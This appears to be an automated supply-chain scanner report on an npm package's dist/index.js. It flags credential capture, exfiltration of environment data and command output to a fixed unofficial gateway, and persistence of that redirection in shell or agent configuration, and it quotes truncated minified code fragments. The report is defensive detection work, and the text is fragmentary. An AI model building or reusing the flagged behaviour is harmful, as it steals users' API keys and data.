1Source sends the broad process environment to a literal external destination.
L1: #!/usr/bin/env node
L2: var xU=Object.defineProperty;var G=(e,t,n)=>()=>{if(n)throw n[0];try{return e&&(t=e(e=0)),t}catch(r){throw n=[r],r}};var gw=(e,t)=>{for(var n in t)xU(e,n,{get:t[n],enumerable:!0})}...
L3: `,{flag:"wx",mode:384}),await Oe(l,a)}catch(d){throw await ms(l,{force:!0}).catch(()=>{}),await ms(e,{recursive:!0,force:!0}).catch(()=>{}),d}return async()=>{try{JSON.parse(await ...
L4: `,{mode:384}),await vw(r,384);try{await Oe(r,n)}catch(o){throw await ms(r,{force:!0}).catch(()=>{}),o}},xe=async e=>{if(nf.getStore()===!0){await Cw(e);return}let t=await Ew();try{...
L5: `;if(a||n.tombstoneAbsent!==!1)try{await JE(r,s)}catch(i){if(i.code!=="EEXIST")throw i}}let o=`${e}.anyray-tmp-${process.pid}-${t0
CriticalHardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.jsView on unpkg · L1 52`),!0)}});var Zn,xf=G(()=>{"use strict";Zn=e=>{if(e.length<=4)return"\u2026";let t=/^([a-z0-9]{2,6}_)/i.exec(e)?.[1]??"";return e.length>t.length+4?`${t}\u2026${e.slice(-4)}`:`\u20...
L53: `)):g&&w&&await qw(d,{force:!0}),await If(n,p)}catch(b){try{y!==void 0&&w?await ve(d,y):w&&await qw(d,{force:!0})}catch{throw new Error("shell environment update failed and credent...
L54: `)?a.slice(0,-2):a.endsWith(`
HighChild Process
Package source references child process execution.
dist/index.jsView on unpkg · L52 115}
L116: `,oO=e=>new Promise((t,n)=>{let r=HZ("powershell.exe",["-NoLogo","-NoProfile","-NonInteractive","-Command",YZ],{encoding:"utf8",windowsHide:!0,timeout:6e4,maxBuffer:131072},(o,a)=>...
L117: `))}`]:[],`export ${Xb}=${Xe(n)}`]},bO=(e,t,n)=>{let r=ge({...e.metadata,tool:Ms});return["export COPILOT_PROVIDER_TYPE='openai'",`export COPILOT_PROVIDER_BASE_URL=${Xe(e.openaiBas...
38`);return o.length>0?o+`
L39: `:""},ad=e=>{if(e.trim().length===0)return!0;try{return m1(e),!0}catch{return!1}}});import{randomUUID as S1}from"node:crypto";import{chmod as I1,mkdir as E1,rm as x1,writeFile as R...
L40: `;)c-=1;if(s===-1){let u=new Set(n.map(g=>g.trim())),p=e.slice(c).split(`
...
L52: `),!0)}});var Zn,xf=G(()=>{"use strict";Zn=e=>{if(e.length<=4)return"\u2026";let t=/^([a-z0-9]{2,6}_)/i.exec(e)?.[1]??"";return e.length>t.length+4?`${t}\u2026${e.slice(-4)}`:`\u20...
L53: `)):g&&w&&await qw(d,{force:!0}),await If(n,p)}catch(b){try{y!==void 0&&w?await ve(d,y):w&&await qw(d,{force:!0})}catch{throw new Error("shell environment update failed and credent...
L54: `)?a.slice(0,-2):a.endsWith(`
HighSame File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
dist/index.jsView on unpkg · L38 •Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration.
dist/index.js:
var xU=Object.defineProperty;var G=(e,t,n)=>()=>{if(n)throw n[0];try{return e&&(t=e(e=0)),t}catch(r){throw n=[r],r}};var gw=(e,t)=>{for(var n in t)xU(e,n,{get:t[n],enumerable:!0})}...
`,{mode:384}),await vw(r,384);try{await Oe(r,n)}catch(o){throw await ms(r,{force:!0}).catch(()=>{}),o}},xe=async e=>{if(nf.getStore()===!0){await Cw(e);return}let t=await Ew();try{...
`:""},ad=e=>{if(e.trim().length===0)return!0;try{return m1(e),!0}catch{return!1}}});import{randomUUID as S1}from"node:crypto";import{chmod as I1,mkdir as E1,rm as x1,writeFile as R...
`),!0)}});var Zn,xf=G(()=>{"use strict";Zn=e=>{if(e.length<=4)return"\u2026"
HighCredential Redirect Persistence
Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.
dist/index.jsView on unpkg 64`;)r+=1;r-=1;continue}if(o==="/"&&e[r+1]==="*"){let a=e.indexOf("*/",r+2);r=a===-1?e.length:a+1,t+=" ";continue}t+=o}return t},GV=e=>{let t="",n=!1;for(let r=0;r<e.length;r+=1){let...
L65: `,r=n.trim()?Sn(n):{};if(!Uf(r))throw new Error(`${e} is not a JSON object`);return{data:r,raw:n,existed:t}},Kx=(e,t,n=[])=>{if(Uf(e)&&Uf(t)){let r=[];for(let o of new Set([...Obje...
L66: `);let a={insertSpaces:!0,tabSize:2,eol:t.raw.includes(`\r
...
L74: `:`
L75: ${a}${s},`,d=`${i}${l}${c}`;try{let u=Sn(d);if(!Zx(u))return{ok:!1,reason:"unsupported"};for(let[p,f]of Object.entries(r))if(JSON.stringify(u[p])!==JSON.stringify(f))return{ok:!1,r...
L76: `,{mode:384}),await Oe(a,o)}catch{}finally{await uR(a,{force:!0})}},PK=async(e,t)=>{await Yf(Pb(e,t)).catch(()=>{})},kR=async(e,t,n,r={},o={mode:"copil
HighCommand Output Exfiltration
Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.
dist/index.jsView on unpkg · L64 64Trigger-reachable command-output exfiltration chain: scripts.start -> dist/index.js
L64: `;)r+=1;r-=1;continue}if(o==="/"&&e[r+1]==="*"){let a=e.indexOf("*/",r+2);r=a===-1?e.length:a+1,t+=" ";continue}t+=o}return t},GV=e=>{let t="",n=!1;for(let r=0;r<e.length;r+=1){let...
L65: `,r=n.trim()?Sn(n):{};if(!Uf(r))throw new Error(`${e} is not a JSON object`);return{data:r,raw:n,existed:t}},Kx=(e,t,n=[])=>{if(Uf(e)&&Uf(t)){let r=[];for(let o of new Set([...Obje...
L66: `);let a={insertSpaces:!0,tabSize:2,eol:t.raw.includes(`\r
...
L74: `:`
L75: ${a}${s},`,d=`${i}${l}${c}`;try{let u=Sn(d);if(!Zx(u))return{ok:!1,reason:"unsupported"};for(let[p,f]of Object.entries(r))if(JSON.stringify(u[p])!==JSON.stringify(f))return{ok:!1,r...
L76: `,{mode:384}),await Oe(a,o)}catch{}finally{await uR(a,{force:!0})}}
HighTrigger Reachable Command Output Exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
dist/index.jsView on unpkg · L64